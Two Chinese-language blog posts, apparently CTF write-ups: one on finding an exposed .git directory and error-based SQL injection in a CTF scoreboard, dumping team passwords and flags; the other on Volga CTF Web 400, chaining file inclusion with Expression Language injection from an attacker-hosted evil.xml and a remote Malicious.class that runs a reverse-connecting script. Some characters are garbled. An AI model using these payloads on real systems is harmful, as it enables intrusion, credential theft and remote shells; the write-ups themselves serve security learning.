2014年3月31日 星期一

Pw3ed CTF LeaderBoard - Git Misconfiguration & SQL Injection




(前情提要)

某月某日晚上,人在外面有約正巧無法參與在週末所舉辦的 CTF

這次的這個 CTF 競賽似乎是某個國家某個實驗室第一次舉辦的對外 CTF 競賽,在 Ctftime.org ä¹Ÿæœ‰ç¨ç«‹é é¢

結束回到家時競賽正好剩下最後幾個小時,在朋友的 Wargame 討論頻道內看到了一個鏈結

這次的競賽很特別的一點是,有所謂 hidden flag 的設計,會有額外的分數藏在計分板網站的各個角落

在對網站搜索的過程中,會不會找著找著就不小心找進去計分板裡面呢? 這篇就是再說這樣的一個故事


(目前網站漏洞已修復)


一開始看到的是這個鏈結
http://vulnerability-leader-board/error_log

看起來是網站開發時的 Error Log 以及 Apache 的設置沒設置好

看到這樣子的內容暴露在網路上,可以想像整個網站的防護應該不是很完整的,因此我們繼續來深入看看

整個網站是用 PHP, Apache, MySQL, Ubuntu 所架設,

PHP 的部分使用了 MVC 的架構,整個網站逛了一下發現安全設定似乎沒有很嚴謹,表面上看起來很 ok 不過在一些小細節的處理上滿容易噴出錯誤訊息的

如把 ?team=foo 置換成 ?team[]=foo 很容易噴出如
Warning: substr() expects parameter 1 to be string, array given in /home/deploy/vulnerability-leader-board/handlers/team_handler.php on line 146
等錯誤訊息。



再翻翻發現了
http://vulnerability-leader-board/phpmyadmin/
http://vulnerability-leader-board/.git/
的目錄。

許多開發者會將 Git, SVN 或者 CVS clone(checkout) 到正式上線的網站上,

這時如果未將權限設置好,攻擊者可以透過這些版本控管軟體所留下的資訊,取得敏感資訊。
(某些狀況甚至可以獲取原始碼)

http://vulnerability-leader-board/.git/config
http://vulnerability-leader-board/.git/index
 
從 config 可以看到,使用了 github.com çš„平台,以及哪個 Repository 以及 Github 帳號資訊等
(不過在那個時候無法從 Github 存取到,似乎那個 repo 是 private 的或者已經移除)


從 index 可以取得網站目錄結構

懶人可以直接 curl http://vulnerability-leader-board/.git/index | strings 快速爬出


從目錄結構已經可以發現些有趣的東西了,

已經可以看到一些題目的 FLAG 了,因為某些題目的 FLAG 是以檔案形式放在網站上,也可以發現一些 Hidden Flags

接著再依照剛剛的目錄結構對現有檔案做一次觀察,發現了開發者留下的測試頁面
http://vulnerability-leader-board/nemoscript.php
點進去會發現


「 pass a team 」
恩,好,你要隊伍名稱我就給你嘛 Ê…(´◔౪◔)ʃ

我的隊伍名稱叫做 「 a' 」
http://vulnerability-leader-board/nemoscript.php?team=a' 


看來是 SQL Injection,而且還是個 Error Based 的 SQL Injection ...

再來看看一下權限高不高,
http://vulnerability-leader-board/nemoscript.php?team=a' and exists (select * from mysql.user)%23
恩...

可以存取 mysql.user 以及又跑在 localhost 以及又存在 phpmyadmin

這麼完美的組合好久沒遇到了

接著就是丟到 owst ...

可以讀取檔案(/etc/passwd)




所有的註冊隊伍使用者
#plainpass



接下來就是最 High 的,所有題目的 Flags



到這裡囉,舉辦一次 CTF 競賽也是很辛苦的!

總而言之這是一次很有趣的體驗 :P

2014年3月30日 星期日

Volga CTF 2014 Web 400 write up



回到家看到 CRAX Team 在玩 VolgaCTF 就順手玩了一下

解這題的時候順便讓我練習到了之前就想好好惡補一下的 EL 注入(Expression Language Injection) ,最後花了滿多時間再用 Java 的 Reflection API 來找到可利用的地方


網址點開為一個類似 Twitter 的個人留言板服務



註冊登入後長得如下,共有新增留言、設定、個人首頁、登出的功能



接下來就是開始找尋漏洞的時候,找的方法不外乎那些XD

最後是發現在設定的地方有個可以讓使用者自行指定布景 (header)的功能


使用 Tamper Data 對我們送出的資訊進行截取,


可以發現,送出的資料中 header 的部分是一個檔案路徑的形式存在
./headers/bar.xhtml
網站透過這個功能去引用自己的 template 以達到使用者自定布景主題的效果

因此我們來試試看,將 header 設為 ../../../../../etc/passwd 看會出現什麼事情?



網站死掉了...

任何功能都無法操作,只能把 Cookie 清空再註冊一個帳號嘗試,之後的步驟都是這樣,只要一個地方出錯就要重新註冊一個帳號重來一次XD

這點滿麻煩的,不過多少達到讓駭客覺得麻煩防駭客的效果XD

不過從錯誤資訊可以看到,網站使用了 <ui:include src="..."> 的方式引入檔案,所以透過這個功能我們可以引入伺服器上的任意檔案
(但是只限定於 html, xml 格式,不然再處理時會出錯一樣無法看到檔案內容)

雖然有格式限制,但我們可以嘗試引入網站 Java Servlet 的設定檔 WEB-INF/web.xml 來讀取一些設定


現在已經定位了漏洞的地方了,接下來是如何的利用?

發現,在引入的時候不只可以引入本地檔案,也可以利用 http://yourhome/foo.xml 的方式引入外部 html 或者 xml

但是只是引入 html 或者 xml 有什麼用呢?

在許多 Java Servlet 裏面(如 Struts, Spring Framework GlassFish etc...)我們可以使用一種叫做 EL 的語言,EL 本意是用來降低後端程式跟前端的困擾,讓兩者出來的程式可以更快速地結合

使用的方式是使用 ${...EL...} 這樣的方式執行,

所以我們將 header 設為自己伺服器上的檔案 http://yourhome.com/evil.xml

並將 evil.xml 內容設定為
<f:view xmlns:f="http://java.sun.com/jsf/core"
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${300*1+1}'/>
</f:view> 


可以看到 300*1+1 有確實的被執行到變成 301 惹

再用 applicationScope 查看一下伺服器設定,

<f:view xmlns:f="http://java.sun.com/jsf/core" 
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${applicationScope}'/>
</f:view>



可以查看一些敏感資訊,最後是執行指令的部分

EL 有對於一些危險指令做了一些限制,不過這些限制是可以繞過

相關 paper 可以參考 Remote Code with Expression Language Injection

內文中使用 Java Reflection API 的方式拿到 URLClassLoader 去讀取自己所寫好惡意的Java class 檔案

但是伺服器上的環境似乎跟 Paper 不太相同,所以不能直接使用上面的攻擊代碼,必須小改一下

伺服器上似乎沒有 pageContext 這個全域變數,所以無法透過它去取得 ServletContext 的 class

所以那時候就在慢慢踹,對其他已知的全域變數用 Relfection API  æƒ³è¾¦æ³•æ‹¿åˆ°ServletContext 這個 class

最後發現可以改用 session.getServletContext(),因此改寫上面的攻擊代碼

http://yourhome.com/evil.xml




http://yourhome.com/Malicious.class 要放上你要執行的 Java 程式

我這裡放的是從自己的 server 上下載反連的 perl script,並且執行




結果如下




FLAG W0W_S0_J@V@_SUCH_EL_V3RY_RCE